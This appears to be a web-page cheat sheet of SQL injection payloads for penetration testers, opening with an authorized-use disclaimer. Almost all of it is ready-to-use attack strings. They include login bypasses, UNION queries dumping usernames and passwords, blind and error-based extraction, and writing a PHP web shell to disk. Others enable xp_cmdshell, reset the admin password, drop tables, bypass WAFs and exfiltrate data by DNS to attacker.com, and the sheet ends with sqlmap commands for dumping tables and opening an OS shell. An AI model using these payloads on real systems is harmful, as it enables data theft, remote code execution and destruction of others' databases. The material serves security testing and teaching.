← All cheat sheets

🌶 SQLInjection

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

# Basic tests
'
''
`
``
,
"
""
/
//
\
\\
;
' or '1'='1
' or '1'='1'--
' or '1'='1'/*
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
') or ('a'='a

# Numeric injection
1 or 1=1
1' or '1'='1
1" or "1"="1

# Time-based detection
'; WAITFOR DELAY '0:0:5'--
'; SELECT SLEEP(5)--
'; SELECT pg_sleep(5)--

# Find number of columns
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

# Extract data
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--
' UNION SELECT table_name,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--

# String concatenation
' UNION SELECT username||'~'||password FROM users--     # Oracle/PostgreSQL
' UNION SELECT CONCAT(username,':',password) FROM users-- # MySQL

# MySQL
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version)))--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version)),1)--

# MSSQL
' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=(SELECT TOP 1 table_name FROM information_schema.tables)--

# PostgreSQL
' AND 1=CAST((SELECT version()) AS int)--

# Oracle
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE rownum=1))--

# Boolean-based
' AND 1=1--          # True condition
' AND 1=2--          # False condition
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>97--
' AND (SELECT COUNT(*) FROM users)>0--

# Time-based
' AND IF(1=1,SLEEP(5),0)--                    # MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
'; IF (1=1) WAITFOR DELAY '0:0:5'--           # MSSQL
' AND pg_sleep(5)--                           # PostgreSQL

# MySQL
' UNION SELECT @@version--
' UNION SELECT version()--
' UNION SELECT database()--
' UNION SELECT user()--

# MSSQL
' UNION SELECT @@version--
' UNION SELECT DB_NAME()--
' UNION SELECT SYSTEM_USER--

# Oracle
' UNION SELECT banner FROM v$version--
' UNION SELECT ora_database_name FROM dual--
' UNION SELECT user FROM dual--

# PostgreSQL
' UNION SELECT version()--
' UNION SELECT current_database()--
' UNION SELECT current_user--

# MySQL / MSSQL / PostgreSQL
SELECT table_name FROM information_schema.tables
SELECT column_name FROM information_schema.columns WHERE table_name='users'

# Oracle
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

# MySQL - Read file
' UNION SELECT LOAD_FILE('/etc/passwd')--

# MySQL - Write file
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php'--

# MSSQL - Enable xp_cmdshell
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
'; EXEC xp_cmdshell 'whoami';--

# MSSQL / PostgreSQL (if supported)
'; INSERT INTO users(username,password) VALUES('hacker','hacked');--
'; UPDATE users SET password='hacked' WHERE username='admin';--
'; DROP TABLE users;--

# Space bypass
'/**/OR/**/1=1--
'+OR+1=1--
'%09OR%091=1--
'%0aOR%0a1=1--

# Quote bypass
CHAR(39)                    # Single quote
0x27                        # Hex encoded quote

# Keyword bypass
SeLeCt                      # Mixed case
SEL/**/ECT                  # Comment in keyword
CONCAT('SEL','ECT')         # String concatenation

# WAF bypass
/*!50000SELECT*/            # MySQL version comment
0xHEX_ENCODED_PAYLOAD       # Hex encoding

admin'--
admin'/*
' OR 1=1--
' OR 1=1#
' OR 1=1/*
') OR ('1'='1
') OR ('1'='1'--
admin' OR '1'='1
admin' OR '1'='1'--
admin' OR '1'='1'#
admin'or 1=1 or ''='

# Register username: admin'--
# When username is used in another query later, injection executes

# DNS exfiltration (MySQL)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

# DNS exfiltration (MSSQL)
'; EXEC master..xp_dirtree '\\attacker.com\a'--

sqlmap -u "http://target.com/page?id=1"
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D dbname --tables
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump
sqlmap -u "http://target.com/page?id=1" --os-shell